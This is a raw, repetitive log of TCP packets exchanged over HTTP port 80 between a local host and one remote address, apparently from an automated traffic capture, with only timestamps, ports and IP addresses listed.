Dec 10, 2024 04:49:45.871830940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.872597933 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.872616053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.872647047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.872659922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.873445988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.873497009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.873559952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.873606920 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.876594067 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.876646996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.941984892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.941999912 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.942079067 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.942579985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.942590952 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.942601919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.942642927 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.942884922 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.942934990 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.943077087 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.943130970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.943200111 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.943248034 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.944716930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.944761992 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.944906950 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.944917917 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.944953918 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.945224047 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.945344925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.945626974 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.945673943 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.945725918 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.945766926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.946774006 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.946822882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.946917057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.946958065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.947381973 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.947423935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.947551966 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.947592974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.948679924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.948692083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.948748112 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.949193001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.949209929 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.949246883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.950705051 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.950716972 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.950758934 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.951520920 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.951566935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.951668978 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.951728106 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.952404976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.952452898 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.952541113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.952581882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.952747107 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.952795982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.952889919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.952939987 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.953649998 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.953661919 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.953695059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.954497099 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.954540968 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.954632044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.954705000 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.955420017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.955431938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.955467939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.956151009 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.956196070 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.956294060 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.956341982 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.957066059 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.957117081 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.957257032 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.957307100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.957803965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.957855940 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.957981110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.958043098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.958703995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.958758116 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.958848953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.958894014 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.959265947 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.959343910 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.959383965 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.959430933 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.960129976 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.960181952 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.960244894 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.960293055 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.960972071 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.961024046 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.961081028 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.961127043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.964106083 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.964117050 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.964126110 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.964135885 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:45.964167118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:45.964184999 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.019196033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.019246101 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.019319057 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.019361019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.019578934 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.019628048 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.019685984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.019735098 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.020431995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.020481110 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.020513058 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.020560026 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.021284103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.021332979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.021404982 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.021455050 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.022154093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.022202969 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.022258997 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.022310019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.022989988 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.023039103 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.023066044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.023104906 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.023854017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.023900032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.023967981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.024017096 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.024682999 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.024732113 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.024772882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.024821043 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.025542021 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.025592089 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.025635958 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.025681973 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.026418924 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.026465893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.026542902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.026587009 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.027261019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.027308941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.027348995 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.027399063 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.028093100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.028141022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.028166056 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.028208971 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.028954029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.029017925 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.029057980 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.029099941 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.029788017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.029825926 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.055854082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.055901051 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.055934906 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.055974007 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.056185007 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.056229115 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.056304932 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.056350946 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.057028055 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.057075977 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.057120085 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.057166100 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.057871103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.057918072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.057976961 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.058027029 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.058715105 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.058762074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.058825016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.058871031 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.059567928 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.059607983 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.059681892 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.059727907 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.060432911 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.060482979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.060545921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.060585976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.061295033 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.061341047 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.061402082 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.061439037 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.062134027 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.062180996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.062220097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.062268019 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.062999964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.063050032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.063108921 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.063148022 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.063823938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.063891888 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.064059019 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.064105988 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.064677000 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.064724922 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.064805984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.064848900 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.065521002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.065562010 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.065610886 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.065653086 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.066370964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.066414118 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.133721113 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.133764029 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.133789062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.133811951 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.133955002 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.133996964 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.134078026 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.134124994 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.134804964 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.134856939 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.134922981 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.134968996 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.135682106 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.135729074 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.135792017 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.135840893 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.136564016 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.136616945 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.136703014 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.136750937 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.137365103 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.137413979 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.137433052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.137480974 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.138226986 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.138282061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.138370037 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.138418913 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.139174938 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.139223099 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.139260054 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.139307976 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.139941931 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.139991045 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.140026093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.140073061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.140763044 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.140809059 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.140872955 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.140918970 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.142062902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.142074108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.142119884 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.142693043 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.142740011 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.143213034 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.143254042 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.143393040 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.143436909 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.143527985 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.143610954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.144210100 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.144254923 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.144260883 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.144290924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.145056963 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.145097017 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.145188093 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.145226002 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.145879984 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.145920038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.145998001 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.146037102 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.146734953 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.146770954 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.146835089 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.146874905 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.147595882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.147633076 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.147785902 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.147833109 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.148456097 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.148502111 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.148529053 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.148570061 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.149301052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.149350882 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.149420023 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.149466038 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.150136948 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.150186062 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.150213957 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.150259018 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.151001930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.151048899 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.151086092 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.151133060 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.151864052 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.151912928 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.151949883 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.151999950 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.152700901 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.152754068 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.152807951 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.152847052 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.153599024 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.153640032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.153675079 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.153714895 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.154537916 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.154578924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.154586077 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.154623032 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.155311108 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.155361891 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.155380011 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.155425072 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.211484909 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.211543083 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.211591005 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.211628914 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.211810112 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.211854935 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.211930990 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.211978912 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.212658882 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.212713957 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.212752104 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.212794065 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.213501930 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.213557005 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.213669062 CET	80	49730	80.82.65.70	192.168.2.4
Dec 10, 2024 04:49:46.213707924 CET	49730	80	192.168.2.4	80.82.65.70
Dec 10, 2024 04:49:46.214361906 CET	80	49730	80.82.65.70	192.168.2.4
